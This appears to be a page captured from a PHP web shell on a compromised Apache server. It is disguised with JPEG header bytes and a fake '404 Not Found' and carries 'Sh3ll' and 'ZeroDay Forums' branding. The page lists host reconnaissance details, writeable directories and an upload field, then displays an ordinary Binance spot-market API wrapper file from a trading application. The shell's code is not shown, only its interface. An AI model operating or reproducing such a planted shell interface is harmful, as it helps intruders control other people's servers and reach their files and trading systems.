����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/trader/vendor/linwj/binance/src/Api/Spot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/trader/vendor/linwj/binance/src/Api/Spot/System.php
<?php
/**
 * @author lin <[email protected]>
 * */

namespace Lin\Binance\Api\Spot;

use Lin\Binance\Request;

class System extends Request
{
    //Default Dont required HMAC SHA256
    protected $signature=false;

    //Default seting
    protected $version='v3';

    /**
     * 测试服务器连通性 PING
    GET /api/v3/ping
     * */
    public function getPing(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/ping';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *获取服务器时间
    GET /api/v3/time
     * */
    public function getTime(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/time';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *交易规范信息
    GET /api/v3/exchangeInfo
     * */
    public function getExchangeInfo(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/exchangeInfo';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *深度信息
    GET /api/v3/depth

    symbol	STRING	YES
    limit	INT	NO	默认 100; 最大 1000. 可选值:[5, 10, 20, 50, 100, 500, 1000]
     * */
    public function getDepth(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/depth';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *近期成交
    GET /api/v3/trades

    symbol	STRING	YES
    limit	INT	NO	Default 500; max 1000.
     * */
    public function getTrades(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/trades';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *查询历史成交(MARKET_DATA)
    GET /api/v3/historicalTrades
     * */
    public function getHistoricalTrades(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/historicalTrades';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *近期成交(归集)
    GET /api/v3/aggTrades

    symbol	STRING	YES
    fromId	LONG	NO	从包含fromID的成交开始返回结果
    startTime	LONG	NO	从该时刻之后的成交记录开始返回结果
    endTime	LONG	NO	返回该时刻为止的成交记录
    limit	INT	NO	默认 500; 最大 1000.
     * */
    public function getAggTrades(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/aggTrades';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *K线数据
    GET /api/v3/klines
     * */
    public function getKlines(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/klines';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *当前平均价格
    GET /api/v3/avgPrice
    Name	Type	Mandatory	Description
    symbol	STRING	YES
     * */
    public function getAvgPrice(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/avgPrice';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *系统状态 (System)
    GET /sapi/v3/system/status
     * */
    public function getSystemStatus(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/system/status';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *24hr价格变动情况
    GET /api/v3/ticker/24hr
     * */
    public function get24hr(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/ticker/24hr';
        $this->data=$data;
        return $this->exec();
    }

    /**
     * 最新价格接口
    GET /api/v3/ticker/price
     * */
    public function getTickerPrice(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/ticker/price';
        $this->data=$data;
        return $this->exec();
    }

    /**
     *最优挂单接口
    GET /api/v3/ticker/bookTicker
     * */
    public function getTickerBookTicker(array $data=[]){
        $this->type='GET';
        $this->path='/api/'.$this->version.'/ticker/bookTicker';
        $this->data=$data;
        return $this->exec();
    }
}

ZeroDay Forums Mini